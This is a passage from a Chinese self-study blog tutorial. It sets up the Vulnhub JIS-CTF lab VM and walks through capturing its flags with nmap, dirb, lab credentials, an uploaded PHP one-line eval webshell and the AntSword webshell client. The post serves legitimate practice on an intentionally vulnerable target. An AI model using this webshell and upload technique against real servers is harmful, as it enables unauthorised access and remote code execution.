[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例（一）
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了SMBv3服务远程代码执行漏洞（CVE-2020-0796），攻击者可能利用此漏洞远程无需用户验证，执行恶意代码并获取机器的完全控制。本文将详细讲解Vulnhub靶机渗透的环境搭建和JIS-CTF题目，采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。由于hack the box速度堪忧，作者选择了Vulnhub靶场，希望深入分析来帮助初学者。本文是一篇Web渗透的基础性文章，希望对您有所帮助。
作者作为网络安全的小白，分享一些自学基础教程给大家，主要是关于安全工具和实践操作的在线笔记，希望您们喜欢。同时，更希望您能与我一起操作和进步，后续将深入学习网络安全和系统安全知识并分享相关实验。总之，希望该系列文章对博友有所帮助，写文不易，大神们不喜勿喷，谢谢！如果文章对您有帮助，将是我创作的最大动力，点赞、评论、私聊均可，一起加油喔~
文章目录
- 一.Vulnhub简介
- 二.JIS-CTF题目描述
- 三.Vulnhub环境配置
- 四.Vulnhub靶机渗透详解
- 1.信息收集
- 2.First flag
- 3.Second flag
- 4.Third flag
- 登录分析
- 上传一句话木马
- Kali系统安装中国蚁剑
- 蚁剑提权
- 5.Fourth flag
- 6.Fifth flag
- 7.sudo提权
- 8.获取数据库数据
- 五.总结
PS：本文参考了github、安全网站和参考文献中的文章（详见参考文献），并结合自己的经验和实践进行撰写，也推荐大家阅读参考文献。
作者的github资源：
软件安全：https://github.com/eastmountyxz/Software-Security-Course
其他工具：https://github.com/eastmountyxz/NetworkSecuritySelf-study
声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。
前文学习：
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码（一）
[网络安全自学篇] 十三.Wireshark抓包原理（ARP劫持、MAC泛洪）及数据流追踪和图像抓取（二）
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信（一）
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程（二）
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池（四）
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示（一）
[网络安全自学篇] 十九.Powershell基础入门及常见用法（一）
[网络安全自学篇] 二十.Powershell基础入门及常见用法（二）
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置（一）
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理（一）
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理（二）
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御（三）
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10（四）
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20（五）
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗（六）
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现（CVE-2018-20250）及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识（一）
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求（二）
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法（三）
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解（CVE-2018-12613）
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞（CVE-2019-0708）复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作（自启动、修改密码、定时关机、蓝屏、进程关闭）
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解（一）
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法（二）
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改（三）
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权（四）
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞（CVE-2020-0796）复现及详解
前文欣赏：
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
一.Vulnhub简介
Vulnhub是一个提供各种漏洞环境的靶场，每个靶场有对应的目标和难度，挑战者通过网络闯入系统获取root权限和查看flag。Vulnhub中包含了各种各样的镜像，可以下载到自己的主机上练习，其大部分的环境是要用VMware或者VirtualBox打开运行的。
作者看了Vulnhub的题目，是一个非常棒的Web渗透靶场，每个靶机都是很酷的一个游戏，需要找到所有的flag和提权，而Hack the box速度堪忧。为了让更多朋友了解Web渗透基础知识，作者接下来会陆续分享该系列20篇文章，尽量选择技术含量较高的靶场，结合技术点进行讲解，希望你们喜欢~
官方网址：https://www.vulnhub.com
该网站包含了很多靶场题目，每个靶场有对应的镜像下载地址、描述和难度等级等。比如“Me and My Girlfriend”如下图所示：
https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/
二.JIS-CTF题目描述
- 靶场题目：JIS-CTF: VulnUpload
- 靶场地址：https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/
- 难度描述：包含5个Flag，初级难度，查找所有Flag平均需要1.5小时
- 靶场作者：Mohammad Khreesha
- 靶场描述：Description: There are five flags on this machine. Try to find them. It takes 1.5 hour on average to find all flags.
- 下载地址：
Download (Torrent)：https://download.vulnhub.com/jisctf/JIS-CTF-VulnUpload-CTF01.ova.torrent
Download (Mirror)：https://download.vulnhub.com/jisctf/JIS-CTF-VulnUpload-CTF01.ova
打开网址显示的内容如下图所示，我们获取虚拟机格式的镜像，然后进行环境配置。
描述中显示“Only working with VirtualBox”，只能工作在VirtualBox中工作，但作者是在VMware虚拟机中完成的实验。读者结合自身环境进行渗透测试。
三.Vulnhub环境配置
该部分推荐i春秋F0rmat老师的文章：https://bbs.ichunqiu.com/thread-39761-1-5.html
第一步，下载资源
建议采用迅雷打开下载JIS-CTF-VulnUpload-CTF01.OVA文件。
下载完成之后如下图所示，可以看到一个OVA后缀的文件。
第二步，打开VMware虚拟机安装靶场
找到我们刚才下载的文件，导入虚拟机。
选择存放的位置，然后点击导入。
如果出现未通过OVF规范一致性或虚拟硬件合规性检查，请单击“重试”导入。在编程或Web渗透过程中，我们会遇到各种问题和错误，需要学会谷歌和百度独立解决，这也是对你能力的一种提升。
第三步，导入完成之后，设置NAT网络模式，内存设置为2G，硬盘设置为32GB
第四步，点击开启虚拟机及配置过程
到开机页面选择第二个Ubuntu的高级选项，如果启动网络正常的话可以直接开机，如果网络不正常可以按下面步骤操作。
进入高级选项，再次选择第二个Linux内核版本的恢复模式回车。
等待系统启动完毕后，看到这个页面，我们继续回车进入。
回车后会弹出选择界面，我们选择root一行回车，接着再次回车进入命令行模式。
第五步，输入“mount -o rw,remount / ”命令，再配置网络问卷，否则后面可能无法保存网络配置文件
当Linux系统无法启动时，通常需要进入单用户模式修改一些配置文件，或调整一些参数方可启动。但是在进入单用户模式后，我们的文件系统是只读模式，无法进行修改，那么这个时候就需要用到一条命令“mount –o remount,rw /”。这个命令让我们的 / 路径文件系统的可读模式能自由修改。
- mount -o rw,remount /
接着输入命令查看网卡：
- ifconfig -a
作者的是ens33，然后继续输入命令修改网络配置文件。
- vi /etc/network/interfaces
输入I修改模式，如下图所示。
修改这两个地方，改成你的网卡名称，然后输入“:wq”保存。
最后输入reboot重启即可。
运行结果如下图所示，我一直登录不进去（不知道用户名和密码）。最初以为是要求用VirtualBox虚拟机的原因，后来反应过来，此时似乎Kali上场开始渗透了。
四.Vulnhub靶机渗透详解
1.信息收集
首先是信息收集一波，任何网站或Web都需要进行一波扫描和分析。
第一步，扫描网卡名称
- netdiscover -i
第二步，调用Nmap探测目标主机IP
- nmap -sn 192.168.44.0/24
由于在同一个网段，所以和主机IP地址近视，扫描结果如下图所示，靶场IP为192.168.44.143。
第三步，调用Nmap探测靶机的开放端口信息
- nmap -A 192.168.44.143
- 22端口：SSH远程连接
- 80端口：HTTP网站协议
第四步，利用dirb扫描80端口的目录文件，敏感文件分析非常重要
- dirb http://192.168.44.143
相关目录：
- http://192.168.44.143/admin_area/
- http://192.168.44.143/assets/
- http://192.168.44.143/css/
- http://192.168.44.143/flag/
- http://192.168.44.143/index.php
- http://192.168.44.143/js/
- http://192.168.44.143/robots.txt
- http://192.168.44.143/flag/index.html
- http://192.168.44.143/admin_area/index.ph
第五步，调用whatweb查看环境
- whatweb 192.168.44.143/login.php
第六步，敏感文件分析
- 登陆界面：
192.168.44.143/index.php、192.168.44.143/login.php
- 系统信息：发现目录浏览漏洞，以及apache版本信息
192.168.44.143/assets/
- robots.txt文件发现目录泄露，其中flag文件夹应该有问题
192.168.44.143/robots.txt
做到这里，信息扫描步骤基本介绍，接下来开始靶机渗透。
2.First flag
我们从敏感文件robots.txt中获取目录信息，查看内容如下图所示：
接着我们发现一个敏感的关键词flag，输入目标地址：192.168.44.143/flag/，第一个flag浮出水面，比较基础，是敏感文件和目录相关。
The 1st flag is : {8734509128730458630012095}
3.Second flag
在地址栏中输入：http://192.168.44.143/admin_area/，显示如下图所示：
右键查看源码得到第二个flag，也是比较简单的知识点。
The 2nd flag is : {7412574125871236547895214}
与第二个flag同时出现的还有一个账号和密码，说明接下来我们需要利用这个账号信息。
<html>
<head>
<title>
Fake admin area :)
title>
<body>
<center><h1>The admin area not work :) h1>center>
body>
html>
4.Third flag
登录分析
我们之前打开了登录页面，但没有账号和密码。这里是否能用上面的账号和密码呢？接着我们进行了登录尝试，返回页面是一个文件上传。
- http://192.168.44.143/login.php
- username : admin
- password : 3v1l_H@ck3r
上传一句话木马
登录之后是一个上传页面，我们尝试上传一句话木马。
@eval($_POST["eastmount"]); ?>
由于该网站采用PHP编写，一句话木马如下所示，我们在Kali浏览器中打开并上传。
上传文件成功。
接下来我们用要蚁剑来连接。
- http://192.168.44.143/uploaded_files/shell.php
Kali系统安装中国蚁剑
接着我们需要使用中国蚁剑来提取Webshell。蚁剑怎么在Kali下安装和使用呢？中国蚁剑推荐大家阅读如下文章，它是非常强大的一款渗透工具。
- 中国蚁剑安装 - 付星fx
- https://github.com/AntSwordProject/AntSword-Loader
- Kali 安装中国蚁剑（antSword） - zrools
第一步，下载中国蚁剑可以使用git命令，也可以直接从github中下载。
git clone https://github.com/antoor/antSword.git
cd antSword
作者从官网下载对应的Linux版本。
第二步，打开Kali终端找到你下载的中国蚁剑压缩包并解压。
unzip AntSword-Loader-v4.0.3-linux-x64.zip
解压显示如下图所示：
第三步，进入中国蚁剑压缩包并打开蚁剑。
./AntSword
蚁剑打开如下图所示：
第四步，创建一个空文件夹（用全英文名字）。
然后点击蚁剑“初始化”按钮，找到你新建的文件夹，并选择它进行安装。
执行结束之后，“./AntSword”会出现这个界面，说明安装成功。
蚁剑提权
第一步，利用前面上传的一句话木马。
@eval($_POST['eastmount']);?>
第二步，运行蚁剑，右键单击“添加数据”，输入URL地址，连接密码以及编码设置。PHP语言推荐编辑器使用chr加密。
URL：http://192.168.44.143/uploaded_files/shell.php
密码：eastmount
接着整个后台显示出来，如下图所示，是不是感受到了蚁剑的强大。
第三步，右键文件管理查看webshell目录
找到/var/www/html/目录下，看到hint.txt和flag.txt文件。
直接打开hint.txt文件，我们看到了第三个flag和用户名technawi，该用户名又能做什么呢？
try to find user technawi password to read the flag.txt file, you can find it in a hidden file